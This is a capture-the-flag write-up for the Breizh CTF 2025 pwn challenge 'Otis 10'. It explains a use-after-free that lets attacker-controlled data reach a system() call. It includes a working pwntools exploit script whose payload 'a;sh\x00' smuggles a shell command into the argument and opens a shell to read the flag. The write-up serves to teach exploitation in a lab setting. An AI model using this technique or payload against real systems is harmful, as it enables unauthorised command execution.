Breizh CTF 2025 - Otis 10

Challenge Description
Otis 10 is a Pwn challenge from Breizh CTF 2025. The binary simulates a transformation system between a cow and other creatures, and contains a classic Use-After-Free (UAF) vulnerability.
Binary Analysis
The binary provides a menu with the following options:
n
: Create a new creature (allocates a new structure)v
: Transform back into a cow (frees the creature)m
: Moo! (allocates a message buffer and lets you input data)r
: Roaaar! (callssystem()
with a command based on the creature’s name)q
: Quit
The relevant structure is:
typedef struct {
char msg[32];
char name[64];
} creature_t;
The vulnerability arises because after freeing the creature
pointer, it is not set to NULL. This allows a classic UAF scenario if a new allocation reuses the freed memory.
Vulnerability
The exploitation flow is as follows:
- Create a new creature (
n
), which allocates acreature_t
structure. - Free the creature (
v
), but the pointer is not set to NULL. - Use the
m
option, which allocates a 96-byte buffer (same size ascreature_t
) and lets you input data. This allocation can reuse the freed memory. - The
r
option callssystem()
with a command that includes the creature’s name, which is now under your control.
Exploitation
The following exploit script demonstrates the attack:
#!/usr/bin/env python3
from pwn import *
exe = "./otis_10"
context.binary = exe
context.terminal = ["kitty", "-e"]
def start():
if args.GDB:
return gdb.debug(exe, gdbscript="b main\nc")
else:
return process(exe)
def exploit(p):
p.sendlineafter(b">", b"n")
p.sendlineafter(b">", b"v")
p.sendlineafter(b">", b"m")
p.recvuntil(b"Message :")
msg = b"A" * 32
name = b"a;sh\x00"
payload = msg + name
payload = payload.ljust(96, b"A")
p.sendline(payload)
p.sendlineafter(b">", b"r")
p.interactive()
if __name__ == "__main__":
p = start()
exploit(p)
Exploit Explanation
- The exploit abuses the UAF by freeing the creature and then reallocating the same memory with controlled data.
- The
name
field is set toa;sh\x00
, so whensystem()
is called, the command becomesecho 'Roarrr !' | /usr/games/cowsay -f a;sh
, which executessh
after the cowsay command fails. - This results in a shell, allowing you to read the flag.
Flag
Once the shell is obtained, you can retrieve the flag with:
$ cat flag.txt
BZHCTF{I_dont_have_this_flag_anymore}